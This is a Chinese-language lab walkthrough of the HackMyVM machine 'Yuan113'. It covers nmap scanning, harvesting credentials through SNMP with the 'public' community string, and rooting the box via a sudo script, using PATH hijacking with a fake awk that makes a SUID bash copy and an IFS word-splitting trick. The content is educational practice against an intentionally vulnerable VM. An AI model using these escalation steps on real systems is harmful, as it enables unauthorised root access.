[HMV] Yuan113

· Updated on 2026-04-13 · 2474 words
Table of Contents

[HMV] Yuan113

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -sV -sC -v -Pn 192.168.20.123

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Mazesec welcome u
MAC Address: 08:00:27:39:FF:AD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

80端口服务探测

只有一个静态的index.html页面,源代码中也没有提示

目录爆破下来也没有结果

UDP端口扫描

只能进一步扫描udp端口情况

1
2
3
4
5
6
7
8
nmap -sU 192.168.20.123           

PORT STATE SERVICE
68/udp open|filtered dhcpc
161/udp open snmp
MAC Address: 08:00:27:39:FF:AD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1009.10 second

161端口snmp服务利用

snmp是用于监控和管理IP网络设备的udp协议

一般可以通过社区字符串(通常就是public)进行只读操作

snmpbulkwalk -c public -v2c 192.168.20.123 > /tmp/test.txt 这里使用命令读取到文件中

然后搜索关键字password 找到凭证进行登录

权限提升

路径劫持

通过sudo -l 发现/opt/113.sh可以sudo执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/bash
sandbox=$(mktemp -d)
cd $sandbox
#必须传递三个参数
if [ "$#" -ne 3 ];then
exit
fi
#第三个参数要是mazesec
if [ "$3" != "mazesec" ]
then
echo "\$3 must be mazesec"
exit
else
/bin/cp /usr/bin/mazesec $sandbox
exec_="$sandbox/mazesec"
fi
if [ "$1" = "exec_" ];then
exit
fi
#之后传递参数1=参数2,就是可以设置环境变量
declare -- "$1"="$2"
$exec_

脚本逻辑是创建一个临时目录,然后把/usr/bin/mazesec复制进临时目录,然后执行

1
2
3
4
#!/bin/bash

flag=$(echo $RANDOM$RANDOM$RAMDOM$RANDOM | md5sum | awk '{print $1}')
echo "flag{fakeroot-$flag}"

这里就看到awkmd5sum都是相对路径不是绝地路径,加上之前我们可以设置路径来实现路径劫持

在tmp目录下创建awk文件,写这些命令,记得添加x执行的权限

1
2
3
4
welcome@113:/tmp$ cat awk 
#!/bin/bash
/usr/bin/cp /bin/bash /tmp/root_bash
/bin/chmod +s /tmp/root_bash

IFS

这里的$sandbox没有加双引号,直接拼接到mazesec上,就会收到词分割的影响

IFS 的默认值是空格、制表符和换行符。如果我们将 IFS 设置为 . (点号),那么路径 /tmp/tmp.XXXXXX/mazesec就会被拆分成两部分:

  • /tmp/tmp可以被当作命令执行
  • 后面的作为参数

只需要创建一个脚本tmp,写入/bin/bash就可以,直接拿到root

1
2
3
4
5
6
welcome@113:/tmp$ cat tmp
/bin/bash
welcome@113:/tmp$ sudo /opt/113.sh IFS . mazesec
root@113:/tmp/tmp.w06D1K7c51# id
uid=0(root) gid=0(root) groups=0(root)
root@113:/tmp/tmp.w06D1K7c51#

总结

  • 权限提升: 路径劫持, IFS
  • 信息收集: snmp枚举